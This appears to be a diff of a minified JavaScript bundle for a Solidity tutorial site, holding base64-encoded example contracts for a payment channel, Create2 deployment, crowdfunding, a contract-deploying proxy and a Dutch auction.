gcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgZW1pdCBXaXRoZHJhdyhtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQp9Cg=="}],nj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

+`,sj=({prev:s,next:a})=>i.jsx(u,{version:DC,title:OC,description:PC,html:qC,prev:s,next:a,codes:$C}),aj="0.8.20",nj="Bi-Directional Payment Channel",lj="An example of bi-directional payment channels in Solidity",pj=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk9wZW5pbmcgYSBjaGFubmVsCjEuIEFsaWNlIGFuZCBCb2IgZnVuZCBhIG11bHRpLXNpZyB3YWxsZXQKMi4gUHJlY29tcHV0ZSBwYXltZW50IGNoYW5uZWwgYWRkcmVzcwozLiBBbGljZSBhbmQgQm9iIGV4Y2hhbmdlcyBzaWduYXR1cmVzIG9mIGluaXRpYWwgYmFsYW5jZXMKNC4gQWxpY2UgYW5kIEJvYiBjcmVhdGVzIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIGZyb20KICAgdGhlIG11bHRpLXNpZyB3YWxsZXQKClVwZGF0ZSBjaGFubmVsIGJhbGFuY2VzCjEuIFJlcGVhdCBzdGVwcyAxIC0gMyBmcm9tIG9wZW5pbmcgYSBjaGFubmVsCjIuIEZyb20gbXVsdGktc2lnIHdhbGxldCBjcmVhdGUgYSB0cmFuc2FjdGlvbiB0aGF0IHdpbGwKICAgLSBkZWxldGUgdGhlIHRyYW5zYWN0aW9uIHRoYXQgd291bGQgaGF2ZSBkZXBsb3llZCB0aGUgb2xkIHBheW1lbnQgY2hhbm5lbAogICAtIGFuZCB0aGVuIGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgY2FuIGRlcGxve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T0KICAgICAgICAgICAgICAgIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF9jb250cmFjdCwgX2JhbGFuY2VzLCBfbm9uY2UpKQogICAgICAgICAgICAgICAgICAgIC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCkKICAgICAgICAgICAgICAgICAgICAucmVjb3Zlcihfc2lnbmF0dXJlc1tpXSk7CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIG1vZGlmaWVyIGNoZWNrU2lnbmF0dXJlcygKICAgICAgICBieXRlc1syXSBtZW1vcnkgX3NpZ25hdHVyZXMsCiAgICAgICAgdWludFsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQgX25vbmNlCiAgICApIHsKICAgICAgICAvLyBOb3RlOiBjb3B5IHN0b3JhZ2UgYXJyYXkgdG8gbWVtb3J5CiAgICAgICAgYWRkcmVzc1syXSBtZW1vcnkgc2lnbmVyczsKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCB1c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBzaWduZXJzW2ldID0gdXNlcnNbaV07CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB2ZXJpZnkoX3NpZ25hdHVyZXMsIGFkZHJlc3ModGhpcyksIHNpZ25lcnMsIF9iYWxhbmNlcywgX25vbmNlKSwKICAgICAgICAgICAgIkludmFsaWQgc2lnbmF0dXJlIgogICAgICAgICk7CgogICAgICAgIF87CiAgICB9CgogICAgbW9kaWZpZXIgb25seVVzZXIoKSB7CiAgICAgICAgcmVxdWlyZShpc1VzZXJbbXNnLnNlbmRlcl0sICJOb3QgdXNlciIpOwogICAgICAgIF87CiAgICB9CgogICAgZnVuY3Rpb24gY2hhbGxlbmdlRXhpdCgKICAgICAgICB1aW50WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzCiAgICApCiAgICAgICAgcHVibGljCiAgICAgICAgb25seVVzZXIKICAgICAgICBjaGVja1NpZ25hdHVyZXMoX3NpZ25hdHVyZXMsIF9iYWxhbmNlcywgX25vbmNlKQogICAgICAgIGNoZWNrQmFsYW5jZXMoX2JhbGFuY2VzKQogICAgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgZXhwaXJlc0F0LCAiRXhwaXJlZCBjaGFsbGVuZ2UgcGVyaW9kIik7CiAgICAgICAgcmVxdWlyZShfbm9uY2UgPiBub25jZSwgIk5vbmNlIG11c3QgYmUgZ3JlYXRlciB0aGFuIHRoZSBjdXJyZW50IG5vbmNlIik7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IF9iYWxhbmNlcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlc1t1c2Vyc1tpXV0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBub25jZSA9IF9ub25jZTsKICAgICAgICBleHBpcmVzQXQgPSBibG9jay50aW1lc3RhbXAgKyBjaGFsbGVuZ2VQZXJpb2Q7CgogICAgICAgIGVtaXQgQ2hhbGxlbmdlRXhpdChtc2cuc2VuZGVyLCBub25jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgb25seVVzZXIgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGV4cGlyZXNBdCwgIkNoYWxsZW5nZSBwZXJpb2QgaGFzIG5vdCBleHBpcmVkIHlldCIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgZW1pdCBXaXRoZHJhdyhtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQp9Cg=="}],ej=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

Payments can go both ways, Alice pays Bob and Bob pays Alice.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.20;
@@ -354,7 +354,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         emit Withdraw(msg.sender, amount);
     }
 }
-
`,lj=({prev:s,next:a})=>i.jsx(u,{version:$C,title:qC,description:sj,html:nj,prev:s,next:a,codes:aj}),pj="0.8.20",ej="Precompute Contract Address with Create2",cj="Precompute contract address with create2",tj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveSgKICAgICAgICBhZGRyZXNzIF9vd25lciwKICAgICAgICB1aW50IF9mb28sCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgLy8gVGhpcyBzeW50YXggaXMgYSBuZXdlciB3YXkgdG8gaW52b2tlIGNyZWF0ZTIgd2l0aG91dCBhc3NlbWJseSwgeW91IGp1c3QgbmVlZCB0byBwYXNzIHNhbHQKICAgICAgICAvLyBodHRwczovL2RvY3Muc29saWRpdHlsYW5nLm9yZy9lbi9sYXRlc3QvY29udHJvbC1zdHJ1Y3R1cmVzLmh0bWwjc2FsdGV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G1lbVtw4oCmKHArbikpKQogICAgICAgICAgICAgIHMgPSBiaWctZW5kaWFuIDI1Ni1iaXQgdmFsdWUKICAgICAgICAqLwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgYWRkciA6PSBjcmVhdGUyKAogICAgICAgICAgICAgICAgY2FsbHZhbHVlKCksIC8vIHdlaSBzZW50IHdpdGggY3VycmVudCBjYWxsCiAgICAgICAgICAgICAgICAvLyBBY3R1YWwgY29kZSBzdGFydHMgYWZ0ZXIgc2tpcHBpbmcgdGhlIGZpcnN0IDMyIGJ5dGVzCiAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgbWxvYWQoYnl0ZWNvZGUpLCAvLyBMb2FkIHRoZSBzaXplIG9mIGNvZGUgY29udGFpbmVkIGluIHRoZSBmaXJzdCAzMiBieXRlcwogICAgICAgICAgICAgICAgX3NhbHQgLy8gU2FsdCBmcm9tIGZ1bmN0aW9uIGFyZ3VtZW50cwogICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsKICAgICAgICAgICAgICAgIHJldmVydCgwLCAwKQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBlbWl0IERlcGxveWVkKGFkZHIsIF9zYWx0KTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvbnRyYWN0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludCBwdWJsaWMgZm9vOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCB1aW50IF9mb28pIHBheWFibGUgewogICAgICAgIG93bmVyID0gX293bmVyOwogICAgICAgIGZvbyA9IF9mb287CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg=="}],oj=`

Contract address can be precomputed, before the contract is deployed, using create2

+`,cj=({prev:s,next:a})=>i.jsx(u,{version:aj,title:nj,description:lj,html:ej,prev:s,next:a,codes:pj}),tj="0.8.20",oj="Precompute Contract Address with Create2",rj="Precompute contract address with create2",ij=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveSgKICAgICAgICBhZGRyZXNzIF9vd25lciwKICAgICAgICB1aW50IF9mb28sCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgLy8gVGhpcyBzeW50YXggaXMgYSBuZXdlciB3YXkgdG8gaW52b2tlIGNyZWF0ZTIgd2l0aG91dCBhc3NlbWJseSwgeW91IGp1c3QgbmVlZCB0byBwYXNzIHNhbHQKICAgICAgICAvLyBodHRwczovL2RvY3Muc29saWRpdHlsYW5nLm9yZy9lbi9sYXRlc3QvY29udHJvbC1zdHJ1Y3R1cmVzLmh0bWwjc2FsdGVkLWNvbnRyYWN0LWNyZWF0aW9ucy1jcmVhdGUyCiAgICAgICAgcmV0dXJuIGFkZHJlc3MobmV3IFRlc3RDb250cmFjdHtzYWx0OiBfc2FsdH0oX293bmVyLCBfZm9vKSk7CiAgICB9Cn0KCi8vIFRoaXMgaXMgdGhlIG9sZGVyIHdheSBvZiBkb2luZyBpdCB1c2luZyBhc3NlbWJseQpjb250cmFjdCBGYWN0b3J5QXNzZW1ibHkgewogICAgZXZlbnQgRGVwbG95ZWQoYWRkcmVzcyBhZGRyLCB1aW50IHNhbHQpOwoKICAgIC8vIDEuIEdldCBieXRlY29kZ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ZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgbWxvYWQoYnl0ZWNvZGUpLCAvLyBMb2FkIHRoZSBzaXplIG9mIGNvZGUgY29udGFpbmVkIGluIHRoZSBmaXJzdCAzMiBieXRlcwogICAgICAgICAgICAgICAgX3NhbHQgLy8gU2FsdCBmcm9tIGZ1bmN0aW9uIGFyZ3VtZW50cwogICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsKICAgICAgICAgICAgICAgIHJldmVydCgwLCAwKQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBlbWl0IERlcGxveWVkKGFkZHIsIF9zYWx0KTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvbnRyYWN0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludCBwdWJsaWMgZm9vOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCB1aW50IF9mb28pIHBheWFibGUgewogICAgICAgIG93bmVyID0gX293bmVyOwogICAgICAgIGZvbyA9IF9mb287CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg=="}],hj=`

Contract address can be precomputed, before the contract is deployed, using create2

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.20;
 
@@ -445,7 +445,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return address(this).balance;
     }
 }
-
`,rj=({prev:s,next:a})=>i.jsx(u,{version:pj,title:ej,description:cj,html:oj,prev:s,next:a,codes:tj}),ij="0.8.20",hj="Crowd Fund",gj="An example of crowd funding contract",dj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yM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ub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPj0gY2FtcGFpZ24uZ29hbCwgInBsZWRnZWQgPCBnb2FsIik7CiAgICAgICAgcmVxdWlyZSghY2FtcGFpZ24uY2xhaW1lZCwgImNsYWltZWQiKTsKCiAgICAgICAgY2FtcGFpZ24uY2xhaW1lZCA9IHRydWU7CiAgICAgICAgdG9rZW4udHJhbnNmZXIoY2FtcGFpZ24uY3JlYXRvciwgY2FtcGFpZ24ucGxlZGdlZCk7CgogICAgICAgIGVtaXQgQ2xhaW0oX2lkKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZWZ1bmQodWludCBfaWQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBtZW1vcnkgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGNhbXBhaWduLmVuZEF0LCAibm90IGVuZGVkIik7CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5wbGVkZ2VkIDwgY2FtcGFpZ24uZ29hbCwgInBsZWRnZWQgPj0gZ29hbCIpOwoKICAgICAgICB1aW50IGJhbCA9IHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXTsKICAgICAgICBwbGVkZ2VkQW1vdW50W19pZF1bbXNnLnNlbmRlcl0gPSAwOwogICAgICAgIHRva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGJhbCk7CgogICAgICAgIGVtaXQgUmVmdW5kKF9pZCwgbXNnLnNlbmRlciwgYmFsKTsKICAgIH0KfQo="}],Ij=`

Crowd fund ERC20 token

+`,gj=({prev:s,next:a})=>i.jsx(u,{version:tj,title:oj,description:rj,html:hj,prev:s,next:a,codes:ij}),dj="0.8.20",Ij="Crowd Fund",Cj="An example of crowd funding contract",jj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcm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ID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPj0gY2FtcGFpZ24uZ29hbCwgInBsZWRnZWQgPCBnb2FsIik7CiAgICAgICAgcmVxdWlyZSghY2FtcGFpZ24uY2xhaW1lZCwgImNsYWltZWQiKTsKCiAgICAgICAgY2FtcGFpZ24uY2xhaW1lZCA9IHRydWU7CiAgICAgICAgdG9rZW4udHJhbnNmZXIoY2FtcGFpZ24uY3JlYXRvciwgY2FtcGFpZ24ucGxlZGdlZCk7CgogICAgICAgIGVtaXQgQ2xhaW0oX2lkKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZWZ1bmQodWludCBfaWQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBtZW1vcnkgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGNhbXBhaWduLmVuZEF0LCAibm90IGVuZGVkIik7CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5wbGVkZ2VkIDwgY2FtcGFpZ24uZ29hbCwgInBsZWRnZWQgPj0gZ29hbCIpOwoKICAgICAgICB1aW50IGJhbCA9IHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXTsKICAgICAgICBwbGVkZ2VkQW1vdW50W19pZF1bbXNnLnNlbmRlcl0gPSAwOwogICAgICAgIHRva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGJhbCk7CgogICAgICAgIGVtaXQgUmVmdW5kKF9pZCwgbXNnLnNlbmRlciwgYmFsKTsKICAgIH0KfQo="}],uj=`

Crowd fund ERC20 token

  1. User creates a campaign.
  2. Users can pledge, transferring their token to a campaign.
  3. @@ -578,7 +578,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit Refund(_id, msg.sender, bal); } } -`,Cj=({prev:s,next:a})=>i.jsx(u,{version:ij,title:hj,description:gj,html:Ij,prev:s,next:a,codes:dj}),jj="0.8.20",uj="Deploy Any Contract",yj="Deploy Any Contract",mj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpIGV4dGVybmFsIHBheWFibGUgcmV0dXJucyAoYWRkcmVzcyBhZGRyKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBjcmVhdGUodiwgcCwgbikKICAgICAgICAgICAgLy8gdiA9IGFtb3VudCBvZiBFVEggdG8gc2VuZAogICAgICAgICAgICAvLyBwID0gcG9pbnRlciBpbiBtZW1vcnkgdG8gc3RhcnQgb2YgY29kZQogICAgICAgICAgICAvLyBuID0gc2l6ZSBvZiBjb2RlCiAgICAgICAgICAgIGFkZHIgOj0gY3JlYXRlKGNhbGx2YWx1ZSgpLCBhZGQoX2NvZGUsIDB4MjApLCBtbG9hZChfY29kZSkpCiAgICAgICAgfQogICAgICAgIC8vIHJldHVybiBhZGRyZXNzIDAgb24gZXJyb3IKICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzcygwKSwgImRlcGxveSBmYWlsZWQiKTsKCiAgICAgICAgZW1pdCBEZXBsb3koYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZXhlY3V0ZShhZGRyZXNzIF90YXJnZXQsIGJ5dGVzIG1lbW9yeSBfZGF0YSkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzL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oKICAgIGZ1bmN0aW9uIGdldENhbGxkYXRhKGFkZHJlc3MgX293bmVyKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgic2V0T3duZXIoYWRkcmVzcykiLCBfb3duZXIpOwogICAgfQp9Cg=="}],Aj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    +`,yj=({prev:s,next:a})=>i.jsx(u,{version:dj,title:Ij,description:Cj,html:uj,prev:s,next:a,codes:jj}),mj="0.8.20",Aj="Deploy Any Contract",bj="Deploy Any Contract",wj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpIGV4dGVybmFsIHBheWFibGUgcmV0dXJucyAoYWRkcmVzcyBhZGRyKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBjcmVhdGUodiwgcCwgbikKICAgICAgICAgICAgLy8gdiA9IGFtb3VudCBvZiBFVEggdG8gc2VuZAogICAgICAgICAgICAvLyBwID0gcG9pbnRlciBpbiBtZW1vcnkgdG8gc3RhcnQgb2YgY29kZQogICAgICAgICAgICAvLyBuID0gc2l6ZSBvZiBjb2RlCiAgICAgICAgICAgIGFkZHIgOj0gY3JlYXRlKGNhbGx2YWx1ZSgpLCBhZGQoX2NvZGUsIDB4MjApLCBtbG9hZChfY29kZSkpCiAgICAgICAgfQogICAgICAgIC8vIHJldHVybiBhZGRyZXNzIDAgb24gZXJyb3IKICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzc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Vjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50IF94LCB1aW50IF95KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0MikuY3JlYXRpb25Db2RlOwogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF94LCBfeSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhbGxkYXRhKGFkZHJlc3MgX293bmVyKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgic2V0T3duZXIoYWRkcmVzcykiLCBfb3duZXIpOwogICAgfQp9Cg=="}],kj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    For this example, you can get the contract bytecodes by calling Helper.getBytecode1 and Helper.getBytecode2

    // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.20;
    @@ -644,7 +644,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
             return abi.encodeWithSignature("setOwner(address)", _owner);
         }
     }
    -
    `,bj=({prev:s,next:a})=>i.jsx(u,{version:jj,title:uj,description:yj,html:Aj,prev:s,next:a,codes:mj}),wj="0.8.20",kj="Dutch Auction",Zj="An example of Dutch auction in Solidity",Wj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludCBfbmZ0SWQpIGV4dGVybmFsOwp9Cgpjb250cmFjdCBEdXRjaEF1Y3Rpb24gewogICAgdWludCBwcml2YXRlIGNvbnN0YW50IERVUkFUSU9OID0gNyBkYXlzOwoKICAgIElFUkM3MjEgcHVibGljIGltbXV0YWJsZSBuZnQ7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBpbW11dGFibGUgc2VsbGVyOwogICAgdWludCBwdWJsaWMgaW1tdXRhYmxlIHN0YXJ0aW5nUHJpY2U7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgc3RhcnRBdDsKICAgIHVpbnQgcHVibGljIGltbXV0YWJsZSBleHBpcmVzQXQ7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgZGlzY291bnRSYXRlOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQgX3N0YXJ0aW5nUHJpY2UsIHVpbnQgX2Rpc2NvdW50UmF0ZSwgYWRkcmVzcyBfbmZ0LCB1aW50IF9uZnRJZCkgewogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgc3RhcnRpbmdQcmljZSA9IF9zdGFydGluZ1ByaWNlOwogICAgICAgIHN0YXJ0QXQgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICAgICAgZGlzY291bnRSYXRlID0gX2Rpc2NvdW50UmF0ZTsKCiAgICAgICAgcmVxdWlyZShfc3RhcnRpbmdQcmljZSA+PSBfZGlzY291bnRSYXRlICogRFVSQVRJT04sICJzdGFydGluZyBwcmljZSA8IG1pbiIpOwoKICAgICAgICBuZnQgPSBJRVJDNzIxKF9uZnQpOwogICAgICAgIG5mdElkID0gX25mdElkOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFByaWNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHVpbnQgdGltZUVsYXBzZWQgPSBibG9jay50aW1lc3RhbXAgLSBzdGFydEF0OwogICAgICAgIHVpbnQgZGlzY291bnQgPSBkaXNjb3VudFJhdGUgKiB0aW1lRWxhcHNlZDsKICAgICAgICByZXR1cm4gc3RhcnRpbmdQcmljZSAtIGRpc2NvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1eSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgZXhwaXJlc0F0LCAiYXVjdGlvbiBleHBpcmVkIik7CgogICAgICAgIHVpbnQgcHJpY2UgPSBnZXRQcmljZSgpOwogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IHByaWNlLCAiRVRIIDwgcHJpY2UiKTsKCiAgICAgICAgbmZ0LnRyYW5zZmVyRnJvbShzZWxsZXIsIG1zZy5zZW5kZXIsIG5mdElkKTsKICAgICAgICB1aW50IHJlZnVuZCA9IG1zZy52YWx1ZSAtIHByaWNlOwogICAgICAgIGlmIChyZWZ1bmQgPiAwKSB7CiAgICAgICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIocmVmdW5kKTsKICAgICAgICB9CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbGxlcik7CiAgICB9Cn0K"}],Bj=`

    Dutch auction for NFT.

    +`,Zj=({prev:s,next:a})=>i.jsx(u,{version:mj,title:Aj,description:bj,html:kj,prev:s,next:a,codes:wj}),Wj="0.8.20",Bj="Dutch Auction",Gj="An example of Dutch auction in Solidity",fj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludCBfbmZ0SWQpIGV4dGVybmFsOwp9Cgpjb250cmFjdCBEdXRjaEF1Y3Rpb24gewogICAgdWludCBwcml2YXRlIGNvbnN0YW50IERVUkFUSU9OID0gNyBkYXlzOwoKICAgIElFUkM3MjEgcHVibGljIGltbXV0YWJsZSBuZnQ7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBpbW11dGFibGUgc2VsbGVyOwogICAgdWludCBwdWJsaWMgaW1tdXRhYmxlIHN0YXJ0aW5nUHJpY2U7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgc3RhcnRBdDsKICAgIHVpbnQgcHVibGljIGltbXV0YWJsZSBleHBpcmVzQXQ7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgZGlzY291bnRSYXRlOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQgX3N0YXJ0aW5nUHJpY2UsIHVpbnQgX2Rpc2NvdW50UmF0ZSwgYWRkcmVzcyBfbmZ0LCB1aW50IF9uZnRJZCkgewogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgc3RhcnRpbmdQcmljZSA9IF9zdGFydGluZ1ByaWNlOwogICAgICAgIHN0YXJ0QXQgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgZXhwaXJlc0F0I